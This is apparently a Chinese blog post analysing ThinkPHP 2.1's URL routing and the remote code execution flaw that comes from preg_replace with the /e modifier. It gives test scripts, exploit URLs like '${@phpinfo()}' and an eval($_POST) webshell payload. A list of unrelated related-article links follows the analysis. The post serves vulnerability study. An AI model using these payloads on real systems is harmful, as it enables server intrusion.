thinkphp 2.1代码执行及路由分析
Dispatcher.class.php这个文件中是url路由,由于第一次正式看路由那块,所以就从头开始一行一行看把。
首先是dispatch函数
是37行到140行
这个函数是做映射用,把url映射到控制器对我们来说算是最重要的一块
$urlMode = C('URL_MODEL');
if($urlMode == URL_REWRITE ) {
//当前项目地址
$url = dirname(_PHP_FILE_);
if($url == '/' || $url == '\\')
$url = '';
define('PHP_FILE',$url);
}elseif($urlMode == URL_COMPAT){
define('PHP_FILE',_PHP_FILE_.'?'.C('VAR_PATHINFO').'=');
}else {
//当前项目地址
define('PHP_FILE',_PHP_FILE_);
一开始就调用了一个名叫C的函数
function C($name=null, $value=null) {
static $_config = array();
// 无参数时获取所有
if (empty($name))
return $_config;
// 优先执行设置获取或赋值
if (is_string($name)) {
if (!strpos($name, '.')) {
$name = strtolower($name);
if (is_null($value))
return isset($_config[$name]) ? $_config[$name] : null;
$_config[$name] = $value;
return;
}
// 二维数组设置和获取支持
$name = explode('.', $name);
$name[0] = strtolower($name[0]);
if (is_null($value))
return isset($_config[$name[0]][$name[1]]) ? $_config[$name[0]][$name[1]] : null;
$_config[$name[0]][$name[1]] = $value;
return;
}
// 批量设置
if (is_array($name))
return $_config = array_merge($_config, array_change_key_case($name));
return null; // 避免非法参数
}
可以看出这是一个对传入参数进行获取处理以及过滤的函数
而URL_MODEL是一个常量表示url的四种模式
'URL_MODEL' => 1, // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式,提供最好的用户体验和SEO支持
根据模式的不同url格式也有不同。这里到没有什么太多可说的。接下来是一长串对二级域名进行处理的,也先跳过。
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
// 获取分组 模块和操作名称
if (C('APP_GROUP_LIST'))
{
define('GROUP_NAME', self::getGroup(C('VAR_GROUP')));
// 加载分组配置文件
if(is_file(CONFIG_PATH.GROUP_NAME.'/config.php'))
C(include CONFIG_PATH.GROUP_NAME.'/config.php');
// 加载分组函数文件
if(is_file(COMMON_PATH.GROUP_NAME.'/function.php'))
include COMMON_PATH.GROUP_NAME.'/function.php';
}
define('MODULE_NAME',self::getModule(C('VAR_MODULE')));
define('ACTION_NAME',self::getAction(C('VAR_ACTION')));
// URL常量
// 当前页面地址
//define('__SELF__',$_SERVER['PHP_SELF']);
define('__SELF__',$_SERVER['REQUEST_URI']);
define('__INFO__',$_SERVER['PATH_INFO']);
// 当前项目地址
define('__APP__',PHP_FILE);
// 当前模块和分组地址
$module = defined('P_MODULE_NAME')?P_MODULE_NAME:MODULE_NAME;
if(defined('GROUP_NAME')) {
$group = C('URL_CASE_INSENSITIVE') ?strtolower(GROUP_NAME):GROUP_NAME;
define('__GROUP__',(!empty($domainGroup) || GROUP_NAME == C('DEFAULT_GROUP') )?__APP__ : __APP__.'/'.$group);
define('__URL__',!empty($domainModule)?__GROUP__.$depr : __GROUP__.$depr.$module);
}else{
define('__URL__',!empty($domainModule)?__APP__.'/' : __APP__.'/'.$module);
}
// 当前操作地址
define('__ACTION__',__URL__.$depr.ACTION_NAME);
//保证$_REQUEST正常取值
$_REQUEST = array_merge($_POST,$_GET);
}
路由控制这块重点应该是这串代码,所以重点看下。
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
这一段代码是对分组进行处理首先判断是否有分组,默认是否能从分组获取变量。$paths=explode($depr,trim($_SERVER['PATH_INFO'],'/'));$_SERVER['PATH_INFO']是返回用户查询语句查询的真实脚本后面的url真实路径
比如http://127.0.0.1/1/url.php/test/test/1.php?test=123这种格式会返回url.php后面的路径也就是/test/test/1.php。
而之前 $depr = C('URL_PATHINFO_DEPR'); C('URL_PATHINFO_DEPR')是PATHINFO模式下的分割符号。
所以这段代码本地测试了一下经过exlode处理后上面那段url的返回值是
Array ([0] => [1] => test [2] => test [3] => 1.php)
array_shift是去除数组的开头单元。那么$var最后的值是去除了[0]这单元的数组或者为空。
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
这一段就是thinkphp2.1命令执行的问题所在了,看看这段代码到底做了什么。
这里其实是因为preg_replace \e修饰符的问题,这个修饰符会把第二个参数当成php代码执行。简单结合上面的语句来说就是$var['\1']="\2";它把这个当成了一个回调函数,而1和2是implode($depr,$paths)执行结果来代替。
本地写语句测试了一下
<?php
$depr='/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var=array();
$res= preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";', implode($depr,$paths));
print_r($var);
?>
当输入http://127.0.0.1/1/test/test/preg_replace.php/module/%7B@phpinfo()%7D
这种url时会打印出Array ( [module] => {@phpinfo()} )
很显然是把脚本后面的url路径直接动态赋值给数组。然而刚刚说的\e这个修饰符把这个参数当成了php代码执行。而且"\2"这里还是用的双引号,双引号中php的特殊字符是可以被解析的。这就导致了任意代码执行。
当输入http://127.0.0.1/1/test/test/preg_replace.php/1/${@phpinfo()}时就会执行phpinfo()
然后我本地做了一个测试
<?php
$a=array(0=>"${@phpinfo()};",1=>'b',2=>'c');
print_r($a);
?>
这样写phpinfo()是可以执行成功的。然后把中间的代码改成了
$a=array(0=>"${@eval($_POST[s])};",1=>'b',2=>'c')。
仔细想想其实因为数组赋值的问题,你用$标识一个变量之后,他是把变量的值赋给0所以就会导致执行。
而这个漏洞的利用格式为什么必须是index.php/xxx/xxx/xxx/${@phpinfo()}
是因为这里还是在这个文件,214到224行
foreach ($routes as $key=>$route){
if(0 === stripos($regx.$depr,$route[0].$depr)) {
// 简单路由定义:array('路由定义','分组/模块/操作名', '路由对应变量','额外参数'),
$var = self::parseUrl($route[1]);
// 获取当前路由参数对应的变量
$paths = explode($depr,trim(str_ireplace($route[0].$depr,$depr,$regx),$depr));
$vars = explode(',',$route[2]);
for($i=0;$i<count($vars);$i++)
$var[$vars[$i]] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));
thinkphp路由的格式是分组/模块/操作名/参数。而参数是被带入执行的。以这种格式传入的会执行命令。
thinkphp 2.1代码执行及路由分析的更多相关文章
- ECShop全系列版本远程代码执行高危漏洞分析+实战提权
漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...
- Apache Log4j 反序列化代码执行(CVE-2019-17571) 漏洞分析
Apache Log4j 漏洞分析 仅用于研究漏洞原理,禁止用于非法用途,后果自负!!! CVE-2019-17571 漏洞描述 Log4j是美国阿帕奇(Apache)软件基金会的一款基于Java的开 ...
- ThinkPHP5代码执行的简单分析
漏洞影响版本: ThinkPHP 5.0.5-5.0.22 ThinkPHP 5.1.0-5.1.30 漏洞复现: 一.mac的debug环境搭建. 一键化环境搭建工具: mamp pro ,调试工具 ...
- Shiro RememberMe 1.2.4远程代码执行漏洞-详细分析
本文首发于先知: https://xz.aliyun.com/t/6493 0x01.漏洞复现 环境配置 https://github.com/Medicean/VulApps/tree/master ...
- thinkphp 5.0 代码执行漏洞
https://github.com/vulhub/vulhub/blob/master/thinkphp/5-rce docker-compose -f /home/root/compose.yml ...
- thinkphp5.0.22远程代码执行漏洞分析及复现
虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...
- Ecshop 2.x_3.x SQL注入和代码执行漏洞复现和分析
0x00 前言 问题发生在user.php的的显示函数,模版变量可控,导致注入,配合注入可达到远程代码执行 0x01 漏洞分析 1.SQL注入 先看user.php的$ back_act变量来源于HT ...
- 干货|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞分析
近期,国外安全研究员Andrew Danau,在参加夺旗赛(CTF: Capture the Flag)期间,偶然发现php-fpm组件处理特定请求时存在缺陷:在特定Nginx配置下,特定构造的请求会 ...
- PHP代码审计笔记--代码执行漏洞
漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞. 常见代码注射函数: 如:eval.preg_replace+/e.assert.call_user_func. ...
随机推荐
- html5+CSS3实现的炫酷超链接特效
今天为大家介绍一个非常炫酷的超链接特效.在你做一些前端的网页时可以在里面去用上这些前卫时尚的效果. 这些超链接特性,大都是借助伪元素.svg.HTML5动画来实现的.效果都很漂亮,不信看下面. 用你的 ...
- 分享知识-快乐自己:初识 Hibernate 概念片(一)
1):什么是 Hibernate? Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个全自动的orm框架,hibe ...
- hashlib加密
一.hashlib的基本组成: 1.hashlib库是python3的标准库,主要用于数据的加密,以下是hashlib的方法及属性. >>> import hashlib>&g ...
- ACM学习历程—HDU2068 RPG的错排(组合数学)
Description 今年暑假杭电ACM集训队第一次组成女生队,其中有一队叫RPG,但做为集训队成员之一的野骆驼竟然不知道RPG三个人具体是谁谁.RPG给他机会让他猜猜,第一次猜:R是公主,P是草儿 ...
- BZOJ1798:[AHOI2009]维护序列
浅谈树状数组与线段树:https://www.cnblogs.com/AKMer/p/9946944.html 题目传送门:https://www.lydsy.com/JudgeOnline/prob ...
- resiprocate使用入门:内网搭建基于repro的sipproxy测试环境
测试环境 sipproxy:repro + centos 客户端:windows电脑客户端使用X-Lite,手机andriod客户端使用linphone repro配置和启动 log的配置 如果使用默 ...
- DS:架构-1
ylbtech-DS:架构-1 1. 类库返回顶部 1. 2. 2. 引用返回顶部 1. Api-Base\Common\OAuth2Provider\ServiceBase-OAuth2Provid ...
- Python list的定义和删改
需要用到list.取回参数 . sys.argv返回的是个元组. 最后发现用for循环好像没用. a=0 for i in sys.argv[1:]: qh[a]=sys.argv[a] a=a+1 ...
- 数据字典生成工具(生成Excel, Word,PDF,html)
转自:http://www.cnblogs.com/yanweidie/p/3838765.html 数据字典生成工具之旅系列文章导航 数据字典生成工具之旅系列文章导航 宣传语 数据字典生成工具.数据 ...
- 条款39:明智而审慎的使用private继承
Use private inheritance judiciously. 如果classes之间的继承关系是private,编译器不会自动将一个derived class对象转换为一个base cla ...